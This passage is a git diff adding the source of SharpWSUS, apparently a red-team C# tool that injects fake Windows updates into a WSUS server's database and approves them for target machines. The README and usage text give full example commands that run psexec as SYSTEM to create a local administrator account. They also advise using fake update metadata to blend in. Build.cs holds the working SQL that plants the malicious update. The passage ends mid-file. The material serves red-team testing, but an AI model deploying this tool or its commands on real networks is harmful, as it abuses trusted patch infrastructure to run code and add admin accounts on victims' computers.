| (_| | | | |_) \ V V / ___) | |_| |___) | +|____/|_| |_|\__,_|_| | .__/ \_/\_/ |____/ \___/|____/ + |_| + Phil Keeble @ Nettitude Red Team + + +Commands listed below have optional parameters in <>. + +Locate the WSUS server: + SharpWSUS.exe locate + +Inspect the WSUS server, enumerating clients, servers and existing groups: + SharpWSUS.exe inspect + +Create an update (NOTE: The payload has to be a windows signed binary): + SharpWSUS.exe create /payload:[File location] /args:[Args for payload] + +Approve an update: + SharpWSUS.exe approve /updateid:[UpdateGUID] /computername:[Computer to target] + +Check status of an update: + SharpWSUS.exe check /updateid:[UpdateGUID] /computername:[Target FQDN] + +Delete update and clean up groups added: + SharpWSUS.exe delete /updateid:[UpdateGUID] /computername:[Target FQDN] +``` + +## Example Usage + +``` +sharpwsus locate + +sharpwsus inspect + +sharpwsus create /payload:"C:\Users\ben\Documents\pk\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \\"net user phil Password123! /add && net localgroup administrators phil /add\\"" /title:"Great UpdateC21" /date:2021-10-03 /kb:500123 /rating:Important /description:"Really important update" /url:"https://google.com" + +sharpwsus approve /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:win10-client10.blorebank.local /groupname:"Awesome Group C2" + +sharpwsus check /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:win10-client10.blorebank.local + +sharpwsus delete /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:win10-client10.blorebank.local /groupname:"Awesome Group C2" +``` + +## Notes + +* Binary has to be windows signed, so psexec, msiexec, msbuild etc could be useful for lateral movement. +* The metadata on the create command is not needed, but is useful for blending in to the environment. +* If testing in a lab the first is usually quick, then each subsequent update will take a couple hours (this is due to how windows evaluates whether an update is installed already or not) \ No newline at end of file diff --git a/repos/SharpWSUS/SharpWSUS.sln b/repos/SharpWSUS/SharpWSUS.sln new file mode 100644 index 000000000..ccf4af5e8 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS.sln @@ -0,0 +1,25 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.31410.357 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpWSUS", "SharpWSUS\SharpWSUS.csproj", "{42CABB74-1199-40F1-9354-6294BBA8D3A4}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {42CABB74-1199-40F1-9354-6294BBA8D3A4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {42CABB74-1199-40F1-9354-6294BBA8D3A4}.Debug|Any CPU.Build.0 = Debug|Any CPU + {42CABB74-1199-40F1-9354-6294BBA8D3A4}.Release|Any CPU.ActiveCfg = Release|Any CPU + {42CABB74-1199-40F1-9354-6294BBA8D3A4}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {B90B58CF-CCFC-47BB-A4B4-E2F83FD868BA} + EndGlobalSection +EndGlobal diff --git a/repos/SharpWSUS/SharpWSUS/Args/ArgumentParser.cs b/repos/SharpWSUS/SharpWSUS/Args/ArgumentParser.cs new file mode 100644 index 000000000..3a5842c1b --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/Args/ArgumentParser.cs @@ -0,0 +1,43 @@ +using System.Collections.Generic; +using System.Diagnostics; + +namespace SharpWSUS.Args +{ + public static class ArgumentParser + { + public static ArgumentParserResult Parse(IEnumerable args) + { + var arguments = new Dictionary(); + try + { + foreach (var argument in args) + { + var idx = argument.IndexOf(':'); + if (idx > 0) + { + arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1); + } + else + { + idx = argument.IndexOf('='); + if (idx > 0) + { + arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1); + } + else + { + arguments[argument] = string.Empty; + } + } + } + + return ArgumentParserResult.Success(arguments); + } + catch (System.Exception ex) + { + Debug.WriteLine(ex.Message); + return ArgumentParserResult.Failure(); + } + } + } +} diff --git a/repos/SharpWSUS/SharpWSUS/Args/ArgumentParserResult.cs b/repos/SharpWSUS/SharpWSUS/Args/ArgumentParserResult.cs new file mode 100644 index 000000000..b9c806cc4 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/Args/ArgumentParserResult.cs @@ -0,0 +1,23 @@ +using System.Collections.Generic; + +namespace SharpWSUS.Args +{ + public class ArgumentParserResult + { + public bool ParsedOk { get; } + public Dictionary Arguments { get; } + + private ArgumentParserResult(bool parsedOk, Dictionary arguments) + { + ParsedOk = parsedOk; + Arguments = arguments; + } + + public static ArgumentParserResult Success(Dictionary arguments) + => new ArgumentParserResult(true, arguments); + + public static ArgumentParserResult Failure() + => new ArgumentParserResult(false, null); + + } +} \ No newline at end of file diff --git a/repos/SharpWSUS/SharpWSUS/Args/CommandCollection.cs b/repos/SharpWSUS/SharpWSUS/Args/CommandCollection.cs new file mode 100644 index 000000000..a9791af88 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/Args/CommandCollection.cs @@ -0,0 +1,49 @@ +using System; +using System.Collections.Generic; +using SharpWSUS.Commands; + +namespace SharpWSUS.Args +{ + public class CommandCollection + { + private readonly Dictionary> _availableCommands = new Dictionary>(); + + // How To Add A New Command: + // 1. Create your command class in the Commands Folder + // a. That class must have a CommandName static property that has the Command's name + // and must also Implement the ICommand interface + // b. Put the code that does the work into the Execute() method + // 2. Add an entry to the _availableCommands dictionary in the Constructor below. + + public CommandCollection() + { + _availableCommands.Add(Create.CommandName, () => new Create()); + _availableCommands.Add(Approve.CommandName, () => new Approve()); + _availableCommands.Add(Check.CommandName, () => new Check()); + _availableCommands.Add(Delete.CommandName, () => new Delete()); + _availableCommands.Add(Inspect.CommandName, () => new Inspect()); + _availableCommands.Add(Locate.CommandName, () => new Locate()); + + } + + public bool ExecuteCommand(string commandName, Dictionary arguments) + { + bool commandWasFound; + + if (string.IsNullOrEmpty(commandName) || _availableCommands.ContainsKey(commandName) == false) + commandWasFound= false; + else + { + // Create the command object + var command = _availableCommands[commandName].Invoke(); + + // and execute it with the arguments from the command line + command.Execute(arguments); + + commandWasFound = true; + } + + return commandWasFound; + } + } +} \ No newline at end of file diff --git a/repos/SharpWSUS/SharpWSUS/Args/Info.cs b/repos/SharpWSUS/SharpWSUS/Args/Info.cs new file mode 100644 index 000000000..2f187336b --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/Args/Info.cs @@ -0,0 +1,55 @@ +using System; + +namespace SharpWSUS.Args +{ + public static class Info + { + public static void ShowLogo() + { + string logo = @" + ____ _ __ ______ _ _ ____ +/ ___|| |__ __ _ _ __ _ _\ \ / / ___|| | | / ___| +\___ \| '_ \ / _` | '__| '_ \ \ /\ / /\___ \| | | \___ \ + ___) | | | | (_| | | | |_) \ V V / ___) | |_| |___) | +|____/|_| |_|\__,_|_| | .__/ \_/\_/ |____/ \___/|____/ + |_| + Phil Keeble @ Nettitude Red Team +"; + Console.WriteLine(logo); + } + + public static void ShowUsage() + { + string usage = @" +Commands listed below have optional parameters in <>. + +Locate the WSUS server: + SharpWSUS.exe locate + +Inspect the WSUS server, enumerating clients, servers and existing groups: + SharpWSUS.exe inspect + +Create an update (NOTE: The payload has to be a windows signed binary): + SharpWSUS.exe create /payload:[File location] /args:[Args for payload] + +Approve an update: + SharpWSUS.exe approve /updateid:[UpdateGUID] /computername:[Computer to target] + +Check status of an update: + SharpWSUS.exe check /updateid:[UpdateGUID] /computername:[Target FQDN] + +Delete update and clean up groups added: + SharpWSUS.exe delete /updateid:[UpdateGUID] /computername:[Target FQDN] + +##### Examples ###### +Executing whoami as SYSTEM on a remote machine: + SharpWSUS.exe inspect + SharpWSUS.exe create /payload:""C:\Users\Test\Documents\psexec.exe"" /args:""-accepteula -s -d cmd.exe /c """"whoami > C:\test.txt"""""" /title:""Great Update"" /date:2021-10-03 /kb:500123 /rating:Important /description:""Really important update"" /url:""https://google.com"" + SharpWSUS.exe approve /updateid:93646c49-7d21-4576-9922-9cbcce9f8553 /computername:test1 /groupname:""Great Group"" + SharpWSUS.exe check /updateid:93646c49-7d21-4576-9922-9cbcce9f8553 /computername:test1 + SharpWSUS.exe delete /updateid:93646c49-7d21-4576-9922-9cbcce9f8553 /computername:test1 /groupname:""Great Group"" +"; + Console.WriteLine(usage); + } + } +} diff --git a/repos/SharpWSUS/SharpWSUS/Commands/Approve.cs b/repos/SharpWSUS/SharpWSUS/Commands/Approve.cs new file mode 100644 index 000000000..2648f7b38 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/Commands/Approve.cs @@ -0,0 +1,81 @@ +using System; +using System.Data.SqlClient; +using System.Collections.Generic; + +namespace SharpWSUS.Commands +{ + public class Approve : ICommand + { + + public static string CommandName => "approve"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: Approve Update"); + + string UpdateID = ""; + string ComputerName = ""; + string GroupName = "InjectGroup"; + string Approver = "WUS Server"; + Group.GroupExists = false; + + if (arguments.ContainsKey("/updateid")) + { + UpdateID = arguments["/updateid"]; + } + + if (arguments.ContainsKey("/computername")) + { + ComputerName = arguments["/computername"]; + } + + if (arguments.ContainsKey("/groupname")) + { + GroupName = arguments["/groupname"]; + } + + if (arguments.ContainsKey("/approver")) + { + Approver = arguments["/approver"]; + } + + Server.GetServerDetails(); + SqlCommand sqlComm = new SqlCommand(); + sqlComm.Connection = Connect.FsqlConnection(); + + ClGuid.GenerateTargetGroupGUID(); + + if (!Group.FbGetComputerTarget(sqlComm, ComputerName)) + { + return; + } + + if (!Group.FbGetGroupID(sqlComm, GroupName)) + { + return; + } + + Console.WriteLine("Group Exists = {0}", Group.GroupExists); + if (Group.GroupExists == false) + { + if (!Group.FbCreateGroup(sqlComm, GroupName)) + { + return; + } + } + + if (!Group.FbAddComputerToGroup(sqlComm, Server.sTargetComputerTargetID)) + { + return; + } + + if (!Status.FbApproveUpdate(sqlComm, UpdateID, Approver)) + { + return; + } + + Console.WriteLine("\r\n[*] Approve complete\r\n"); + return; + } + } +} diff --git a/repos/SharpWSUS/SharpWSUS/Commands/Check.cs b/repos/SharpWSUS/SharpWSUS/Commands/Check.cs new file mode 100644 index 000000000..406bf51c3 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/Commands/Check.cs @@ -0,0 +1,46 @@ +using System; +using System.Data.SqlClient; +using System.Collections.Generic; + +namespace SharpWSUS.Commands +{ + public class Check : ICommand + { + + public static string CommandName => "check"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: Check Update"); + + string UpdateID = ""; + string ComputerName = ""; + + if (arguments.ContainsKey("/updateid")) + { + UpdateID = arguments["/updateid"]; + } + + if (arguments.ContainsKey("/computername")) + { + ComputerName = arguments["/computername"]; + } + + Server.GetServerDetails(); + SqlCommand sqlComm = new SqlCommand(); + sqlComm.Connection = Connect.FsqlConnection(); + + if (!Group.FbGetComputerTarget(sqlComm, ComputerName)) + { + return; + } + + if (!Status.FbGetUpdateStatus(sqlComm, UpdateID)) + { + return; + } + + Console.WriteLine("\r\n[*] Check complete\r\n"); + } + } +} \ No newline at end of file diff --git a/repos/SharpWSUS/SharpWSUS/Commands/Create.cs b/repos/SharpWSUS/SharpWSUS/Commands/Create.cs new file mode 100644 index 000000000..36f84f98b --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/Commands/Create.cs @@ -0,0 +1,128 @@ +using System; +using System.Data.SqlClient; +using System.Collections.Generic; + +namespace SharpWSUS.Commands +{ + public class Create : ICommand + { + + public static string CommandName => "create"; + public static int iRevisionID; + public static string PayloadPath = ""; + public static string PayloadArgs = ""; + public static string UpdateTitle = "SharpWSUS Update"; + public static string UpdateDate = "2021-09-26"; + public static string UpdateRating = "Important"; + public static string UpdateMSRC = ""; + public static string UpdateKB = "5006103"; + public static string UpdateDescription = "Install this update to resolve issues in Windows."; + public static string UpdateURL = @"https://www.nettitude.com"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: Create Update"); + + if (arguments.ContainsKey("/payload")) + { + PayloadPath = arguments["/payload"]; + } + + if (arguments.ContainsKey("/args")) + { + PayloadArgs = arguments["/args"]; + } + + if (arguments.ContainsKey("/title")) + { + UpdateTitle = arguments["/title"]; + } + + if (arguments.ContainsKey("/date")) + { + UpdateDate = arguments["/date"]; + } + + if (arguments.ContainsKey("/rating")) + { + UpdateRating = arguments["/rating"]; + } + + if (arguments.ContainsKey("/msrc")) + { + UpdateMSRC = arguments["/msrc"]; + } + + if (arguments.ContainsKey("/kb")) + { + UpdateKB = arguments["/kb"]; + } + + if (arguments.ContainsKey("/description")) + { + UpdateDescription = arguments["/description"]; + } + + if (arguments.ContainsKey("/url")) + { + UpdateURL = arguments["/url"]; + } + + Server.GetServerDetails(); + SqlCommand sqlComm = new SqlCommand(); + sqlComm.Connection = Connect.FsqlConnection(); + + ClGuid.GenerateUpdateGUID(); + ClGuid.GenerateBundleGUID(); + + ClFile clFileData = new ClFile(PayloadPath, PayloadArgs, Server.sLocalContentCacheLocation, true); + + Console.WriteLine("[*] Creating patch to use the following:"); + Console.WriteLine("[*] Payload: {0}",ClFile.sFileName); + Console.WriteLine("[*] Payload Path: {0}", ClFile.sFilePath); + Console.WriteLine("[*] Arguments: {0}", PayloadArgs); + Console.WriteLine("[*] Arguments (HTML Encoded): {0}", ClFile.sArgs); + + if (!Enum.FbGetWSUSConfigSQL(sqlComm)) + { + return; + } + if (!Build.FbImportUpdate(sqlComm)) + { + return; + } + if (!Build.FbPrepareXMLtoClient(sqlComm)) + { + return; + } + if (!Build.FbInjectUrl2Download(sqlComm)) + { + return; + } + if (!Build.FbDeploymentRevision(sqlComm)) + { + return; + } + if (!Build.FbPrepareBundle(sqlComm)) + { + return; + } + if (!Build.FbPrepareXmlBundleToClient(sqlComm)) + { + return; + } + if (!Build.FbDeploymentRevision(sqlComm)) + { + return; + } + + Console.WriteLine("\r\n[*] Update created - When ready to deploy use the following command:"); + Console.WriteLine("[*] SharpWSUS.exe approve /updateid:" + ClGuid.gBundle + " /computername:Target.FQDN /groupname:\"Group Name\""); + Console.WriteLine("\r\n[*] To check on the update status use the following command:"); + Console.WriteLine("[*] SharpWSUS.exe check /updateid:" + ClGuid.gBundle + " /computername:Target.FQDN"); + Console.WriteLine("\r\n[*] To delete the update use the following command:"); + Console.WriteLine("[*] SharpWSUS.exe delete /updateid:" + ClGuid.gBundle + " /computername:Target.FQDN /groupname:\"Group Name\""); + Console.WriteLine("\r\n[*] Create complete\r\n"); + } + } +} \ No newline at end of file diff --git a/repos/SharpWSUS/SharpWSUS/Commands/Delete.cs b/repos/SharpWSUS/SharpWSUS/Commands/Delete.cs new file mode 100644 index 000000000..9ec782506 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/Commands/Delete.cs @@ -0,0 +1,81 @@ +using System; +using System.Data.SqlClient; +using System.Collections.Generic; + +namespace SharpWSUS.Commands +{ + public class Delete : ICommand + { + + public static string CommandName => "delete"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: Delete Update"); + + string UpdateID = ""; + string ComputerName = ""; + string GroupName = "InjectGroup"; + bool KeepGroup = false; + + if (arguments.ContainsKey("/updateid")) + { + UpdateID = arguments["/updateid"]; + } + + if (arguments.ContainsKey("/computername")) + { + ComputerName = arguments["/computername"]; + } + + if (arguments.ContainsKey("/groupname")) + { + GroupName = arguments["/groupname"]; + } + + if (arguments.ContainsKey("/keepgroup")) + { + KeepGroup = true; + } + + Server.GetServerDetails(); + SqlCommand sqlComm = new SqlCommand(); + sqlComm.Connection = Connect.FsqlConnection(); + + + if (!Status.FbDeleteUpdate(sqlComm, UpdateID)) + { + return; + } + + if (ComputerName != "") + { + if (!Group.FbGetComputerTarget(sqlComm, ComputerName)) + { + return; + } + + if (!Group.FbGetGroupID(sqlComm, GroupName)) + { + return; + } + + if (!Group.FbRemoveComputerFromGroup(sqlComm, Server.sTargetComputerTargetID)) + { + return; + } + + if (KeepGroup == false) + { + if (!Group.FbRemoveGroup(sqlComm)) + { + return; + } + } + } + + Console.WriteLine("\r\n[*] Delete complete\r\n"); + + } + } +} \ No newline at end of file diff --git a/repos/SharpWSUS/SharpWSUS/Commands/ICommand.cs b/repos/SharpWSUS/SharpWSUS/Commands/ICommand.cs new file mode 100644 index 000000000..afca6326a --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/Commands/ICommand.cs @@ -0,0 +1,9 @@ +using System.Collections.Generic; + +namespace SharpWSUS.Commands +{ + public interface ICommand + { + void Execute(Dictionary arguments); + } +} \ No newline at end of file diff --git a/repos/SharpWSUS/SharpWSUS/Commands/Inspect.cs b/repos/SharpWSUS/SharpWSUS/Commands/Inspect.cs new file mode 100644 index 000000000..55f1bcb24 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/Commands/Inspect.cs @@ -0,0 +1,31 @@ +using System; +using System.Data.SqlClient; +using System.Collections.Generic; + +namespace SharpWSUS.Commands +{ + public class Inspect : ICommand + { + + public static string CommandName => "inspect"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: Inspect WSUS Server"); + + Server.GetServerDetails(); + SqlCommand sqlComm = new SqlCommand(); + sqlComm.Connection = Connect.FsqlConnection(); + + Enum.FbGetWSUSConfigSQL(sqlComm); + + Enum.FbEnumAllComputers(sqlComm); + + Enum.FbEnumDownStream(sqlComm); + + Enum.FbEnumGroups(sqlComm); + + Console.WriteLine("\r\n[*] Inspect complete\r\n"); + } + } +} \ No newline at end of file diff --git a/repos/SharpWSUS/SharpWSUS/Commands/Locate.cs b/repos/SharpWSUS/SharpWSUS/Commands/Locate.cs new file mode 100644 index 000000000..6de283539 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/Commands/Locate.cs @@ -0,0 +1,21 @@ +using System; +using System.Data.SqlClient; +using System.Collections.Generic; + +namespace SharpWSUS.Commands +{ + public class Locate : ICommand + { + + public static string CommandName => "locate"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: Locate WSUS Server"); + + Enum.FbGetWSUSServer(); + + Console.WriteLine("\r\n[*] Locate complete\r\n"); + } + } +} \ No newline at end of file diff --git a/repos/SharpWSUS/SharpWSUS/Program.cs b/repos/SharpWSUS/SharpWSUS/Program.cs new file mode 100644 index 000000000..6bbf3694b --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/Program.cs @@ -0,0 +1,47 @@ +using System; +using System.Collections.Generic; +using SharpWSUS.Args; + +namespace SharpWSUS +{ + class Program + { + private static void MainExecute(string commandName, Dictionary parsedArgs) + { + // main execution logic + + Info.ShowLogo(); + + try + { + var commandFound = new CommandCollection().ExecuteCommand(commandName, parsedArgs); + + // show the usage if no commands were found for the command name + if (commandFound == false) + Info.ShowUsage(); + } + catch (Exception e) + { + Console.WriteLine("\r\n[!] Unhandled SharpWSUS exception:\r\n"); + Console.WriteLine(e); + } + } + + public static void Main(string[] args) + { + // try to parse the command line arguments, show usage on failure and then bail + var parsed = ArgumentParser.Parse(args); + if (parsed.ParsedOk == false) + { + Info.ShowLogo(); + Info.ShowUsage(); + return; + } + + var commandName = args.Length != 0 ? args[0] : ""; + + MainExecute(commandName, parsed.Arguments); + + } + } +} diff --git a/repos/SharpWSUS/SharpWSUS/Properties/AssemblyInfo.cs b/repos/SharpWSUS/SharpWSUS/Properties/AssemblyInfo.cs new file mode 100644 index 000000000..e8025809e --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("SharpWSUS")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("SharpWSUS")] +[assembly: AssemblyCopyright("Copyright © 2021")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("42cabb74-1199-40f1-9354-6294bba8d3a4")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/repos/SharpWSUS/SharpWSUS/SharpWSUS.csproj b/repos/SharpWSUS/SharpWSUS/SharpWSUS.csproj new file mode 100644 index 000000000..19af69a68 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/SharpWSUS.csproj @@ -0,0 +1,74 @@ + + + + + Debug + AnyCPU + {42CABB74-1199-40F1-9354-6294BBA8D3A4} + Exe + SharpWSUS + SharpWSUS + v4.0 + 512 + true + + + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + + + AnyCPU + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/repos/SharpWSUS/SharpWSUS/app.config b/repos/SharpWSUS/SharpWSUS/app.config new file mode 100644 index 000000000..fcd0c9373 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/app.config @@ -0,0 +1,3 @@ + + + diff --git a/repos/SharpWSUS/SharpWSUS/lib/Build.cs b/repos/SharpWSUS/SharpWSUS/lib/Build.cs new file mode 100644 index 000000000..7e84f7488 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/lib/Build.cs @@ -0,0 +1,245 @@ +using System; +using System.Text; +using System.Data.SqlClient; +using SharpWSUS.Commands; + +public class Build +{ + + public static bool FbImportUpdate(SqlCommand sqlCommFun) + { + System.Data.DataTable dtDataTbl = new System.Data.DataTable(); + SqlDataReader sqldrReader; + StringBuilder sbUpdate = new StringBuilder(); + + sbUpdate.AppendLine(@"declare @iImported int"); + sbUpdate.AppendLine(@"declare @iLocalRevisionID int"); + sbUpdate.AppendLine(@"exec spImportUpdate @UpdateXml=N'"); + sbUpdate.AppendLine(@""); + sbUpdate.AppendLine("\t" + @""); + sbUpdate.AppendLine("\t" + @""); + sbUpdate.AppendLine("\t\t" + @""); + sbUpdate.AppendLine("\t\t" + @""); + sbUpdate.AppendLine("\t" + @""); + sbUpdate.AppendLine("\t" + @""); + sbUpdate.AppendLine("\t\t" + @""); + sbUpdate.AppendLine("\t\t\t" + @"en"); + sbUpdate.AppendLine("\t\t\t" + @"Windows-Update"); + sbUpdate.AppendLine("\t\t" + @""); + sbUpdate.AppendLine("\t" + @""); + sbUpdate.AppendLine("\t" + @""); + sbUpdate.AppendLine("\t\t" + @""); + sbUpdate.AppendLine("\t\t" + @""); + sbUpdate.AppendLine("\t" + @""); + sbUpdate.AppendLine("\t" + @""); + sbUpdate.AppendLine("\t\t" + @""); + sbUpdate.AppendLine("\t\t\t" + @"" + ClFile.sSHA256 + @""); + sbUpdate.AppendLine("\t\t" + @""); + sbUpdate.AppendLine("\t" + @""); + sbUpdate.AppendLine("\t" + @""); + sbUpdate.AppendLine("\t\t" + @""); + sbUpdate.AppendLine("\t\t\t" + @""); + sbUpdate.AppendLine("\t\t" + @""); + sbUpdate.AppendLine("\t" + @""); + sbUpdate.AppendLine(@"',"); + sbUpdate.AppendLine(@"@UpstreamServerLocalID=1,@Imported=@iImported output,@localRevisionID=@iLocalRevisionID output,@UpdateXmlCompressed=NULL"); + sbUpdate.AppendLine(@"select @iImported,@iLocalRevisionID"); + sqlCommFun.CommandText = sbUpdate.ToString(); + + try + { + sqldrReader = sqlCommFun.ExecuteReader(); + dtDataTbl.Load(sqldrReader); + Create.iRevisionID = (int)dtDataTbl.Rows[0][1]; + + if (Create.iRevisionID == 0) + { + Console.WriteLine("Error importing update"); + sqldrReader.Close(); + return false; + } + + Console.WriteLine("ImportUpdate"); + Console.WriteLine("Update Revision ID: {0}", Create.iRevisionID); + + sqldrReader.Close(); + return true; + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbImportUpdate."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + } + public static bool FbPrepareXMLtoClient(SqlCommand sqlCommFun) + { + SqlDataReader sqldrReader; + StringBuilder sbXMLClient = new StringBuilder(); + sbXMLClient.AppendLine(@"exec spSaveXmlFragment '" + ClGuid.gUpdate + @"',202,1,N'<UpdateIdentity UpdateID=""" + ClGuid.gUpdate + @""" RevisionNumber=""202"" /><Properties UpdateType=""Software"" /><Relationships></Relationships><ApplicabilityRules><IsInstalled><False /></IsInstalled><IsInstallable><True /></IsInstallable></ApplicabilityRules>',NULL"); + sbXMLClient.AppendLine(@"exec spSaveXmlFragment '" + ClGuid.gUpdate + @"',202,4,N'<LocalizedProperties><Language>en</Language><Title>Windows-Update</Title></LocalizedProperties>',NULL,'en'"); + sbXMLClient.AppendLine(@"exec spSaveXmlFragment '" + ClGuid.gUpdate + @"',202,2,N'<ExtendedProperties DefaultPropertiesLanguage=""en"" Handler=""http://schemas.microsoft.com/msus/2002/12/UpdateHandlers/CommandLineInstallation"" MaxDownloadSize=""" + ClFile.lSize + @""" MinDownloadSize=""" + ClFile.lSize + @"""><InstallationBehavior RebootBehavior=""NeverReboots"" /></ExtendedProperties><Files><File Digest=""" + ClFile.sSHA1 + @""" DigestAlgorithm=""SHA1"" FileName=""" + ClFile.sFileName + @""" Size=""" + ClFile.lSize + @""" Modified=""" + Create.UpdateDate + @"T15:26:20.723""><AdditionalDigest Algorithm=""SHA256"">" + ClFile.sSHA256 + @"</AdditionalDigest></File></Files><HandlerSpecificData type=""cmd:CommandLineInstallation""><InstallCommand Arguments=""" + ClFile.sArgs + @""" Program=""" + ClFile.sFileName + @""" RebootByDefault=""false"" DefaultResult=""Succeeded""><ReturnCode Reboot=""false"" Result=""Succeeded"" Code=""-1"" /></InstallCommand></HandlerSpecificData>',NULL"); + sqlCommFun.CommandText = sbXMLClient.ToString(); + try + { + Console.WriteLine("PrepareXMLtoClient"); + sqldrReader = sqlCommFun.ExecuteReader(); + sqldrReader.Close(); + return true; + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbPrepareXMLtoClient."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + } + public static bool FbPrepareXmlBundleToClient(SqlCommand sqlCommFun) + { + SqlDataReader sqldrReader; + StringBuilder sbXMLBundle = new StringBuilder(); + sbXMLBundle.AppendLine(@"exec spSaveXmlFragment '" + ClGuid.gBundle + @"',204,1,N'<UpdateIdentity UpdateID=""" + ClGuid.gBundle + @""" RevisionNumber=""204"" /><Properties UpdateType=""Software"" ExplicitlyDeployable=""true"" AutoSelectOnWebSites=""true"" /><Relationships><Prerequisites><AtLeastOne IsCategory=""true""><UpdateIdentity UpdateID=""0fa1201d-4330-4fa8-8ae9-b877473b6441"" /></AtLeastOne></Prerequisites><BundledUpdates><UpdateIdentity UpdateID=""" + ClGuid.gUpdate + @""" RevisionNumber=""202"" /></BundledUpdates></Relationships>',NULL"); + sbXMLBundle.AppendLine(@"exec spSaveXmlFragment '" + ClGuid.gBundle + @"',204,4,N'<LocalizedProperties><Language>en</Language><Title>" + Create.UpdateTitle + @"</Title><Description>" + Create.UpdateDescription + @"</Description><UninstallNotes>This software update can be removed by selecting View installed updates in the Programs and Features Control Panel.</UninstallNotes><MoreInfoUrl>" + Create.UpdateURL + @"</MoreInfoUrl><SupportUrl>" + Create.UpdateURL + @"</SupportUrl></LocalizedProperties>', NULL, 'en'"); + sbXMLBundle.AppendLine(@"exec spSaveXmlFragment '" + ClGuid.gBundle + @"',204,2,N'<ExtendedProperties DefaultPropertiesLanguage=""en"" MsrcSeverity=""" + Create.UpdateRating + @""" IsBeta=""false""><SupportUrl>" + Create.UpdateURL + @"</SupportUrl><SecurityBulletinID>" + Create.UpdateMSRC + @"</SecurityBulletinID><KBArticleID>" + Create.UpdateKB + @"</KBArticleID></ExtendedProperties>',NULL"); + sqlCommFun.CommandText = sbXMLBundle.ToString(); + try + { + Console.WriteLine("PrepareXMLBundletoClient"); + sqldrReader = sqlCommFun.ExecuteReader(); + sqldrReader.Close(); + return true; + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbPrepareXmlBundleToClient."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + } + public static bool FbInjectUrl2Download(SqlCommand sqlCommFun) + { + SqlDataReader sqldrReader; + StringBuilder sbDownloadURL = new StringBuilder(); + string sDownloadURLexec = string.Empty; + if (Server.bSSL == true) + { + sDownloadURLexec = @"https://" + Server.sComputerName + ":" + Server.iPortNumber + "/Content/wuagent.exe"; + } + else if (Server.bSSL == false) + { + sDownloadURLexec = @"http://" + Server.sComputerName + ":" + Server.iPortNumber + "/Content/wuagent.exe"; + } + else + { + return false; + } + + sbDownloadURL.AppendLine(@"exec spSetBatchURL @urlBatch =N''"); + sqlCommFun.CommandText = sbDownloadURL.ToString(); + try + { + Console.WriteLine("InjectURL2Download"); + sqldrReader = sqlCommFun.ExecuteReader(); + sqldrReader.Close(); + return true; + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbInjectUrl2Download."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + } + public 